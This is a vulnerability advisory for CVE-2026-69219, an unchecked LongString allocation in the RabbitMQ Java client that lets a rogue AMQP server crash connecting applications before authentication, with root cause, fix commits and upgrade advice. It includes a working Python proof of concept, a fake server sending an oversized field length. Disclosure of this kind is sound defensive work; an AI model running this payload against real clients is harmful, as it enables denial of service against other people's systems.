highCVE-2026-69219Aug 18, 2026

CVE-2026-69219: RabbitMQ Java Client Unchecked LongString Allocation DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

A malicious AMQP server can crash any connecting Java application by sending a single oversized field length value that forces the client to attempt a ~2 GB memory allocation before reading any data.

Packagecom.rabbitmq:amqp-client
Ecosystemmaven
Affected<= 5.33.0
Fixed in5.33.1
CVE-2026-69219: RabbitMQ Java Client Unchecked LongString Allocation DoS

The problem

ValueReader.readBytes() in com.rabbitmq:amqp-client reads a 32-bit wire-declared length, extends it to a long, then immediately calls new byte[(int)contentLength] with no upper-bound check.

The only guard present is contentLength < Integer.MAX_VALUE, which passes for any value up to 2,147,483,646. A rogue or MITM AMQP peer can trigger this in the connection.start server-properties table, meaning the crash happens before authentication.

Proof of concept

A working proof-of-concept for CVE-2026-69219 in com.rabbitmq:amqp-client, with the exact payload below.

python
# Malicious AMQP frame: connection.start with a LongString field
# whose declared length is 0x7FFFFFFE (2,147,483,646 bytes).
# Wire bytes (hex) for a single LongString field-value entry:
#
#   'S'  <-- AMQP field type: LongString
#   7F FF FF FE  <-- content-length: 2,147,483,646 (passes < Integer.MAX_VALUE check)
#   <no bytes follow -- readFully() never reached; OOM fires on new byte[2147483646]>
#
# Minimal Python sketch to trigger via a fake AMQP server:
import socket, struct

FRAME_METHOD = 1
CLASS_CONNECTION, METHOD_START = 10, 10

def build_longstring_field(length_value: int) -> bytes:
    # type tag 'S' + 4-byte big-endian length
    return b'S' + struct.pack('>I', length_value)

def build_connection_start_frame() -> bytes:
    version = b'\x00\x09'          # AMQP 0-9-1
    server_props_len = struct.pack('>I', 9)  # field table length
    # one key 'x' -> LongString with declared length 0x7FFFFFFE
    key = b'\x01x'
    value = build_longstring_field(0x7FFFFFFE)
    field_table = server_props_len + key + value
    mechanisms = b'\x00\x00\x00\x05PLAIN'
    locales    = b'\x00\x00\x00\x05en_US'
    payload    = struct.pack('>HH', CLASS_CONNECTION, METHOD_START) + version + field_table + mechanisms + locales
    frame      = bytes([FRAME_METHOD]) + struct.pack('>HI', 0, len(payload)) + payload + b'\xCE'
    return frame

sock = socket.socket()
sock.bind(('0.0.0.0', 5672))
sock.listen(1)
conn, _ = sock.accept()
conn.recv(8)  # consume AMQP0091 handshake header
conn.sendall(b'AMQP\x00\x00\x09\x01')  # protocol header
conn.recv(1024)
conn.sendall(build_connection_start_frame())
# victim JVM now throws OutOfMemoryError

The root cause is CWE-789: the allocation size comes directly from untrusted wire data and is never compared to the negotiated max frame size (default 131,072 bytes) or any configurable limit. The guard contentLength < Integer.MAX_VALUE was intended to detect 4-byte overflow values but it lets anything up to 2,147,483,646 through, which is a valid Java array index and triggers an unconditional ~2 GB heap request.

PRs #2007 and #2008 (commits 388209356c and 6a87a8dcdc) fix this by threading the negotiated max frame size into ValueReader and rejecting any declared field length that exceeds it before the array is allocated, turning the silent OOM into an explicit MalformedFrameException.

The fix

Upgrade to com.rabbitmq:amqp-client 5.33.1 or later. The fix is in ValueReader.readBytes(): it now compares contentLength against the connection-negotiated max frame size and throws MalformedFrameException if the declared length exceeds that bound. No configuration change is required after upgrading.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research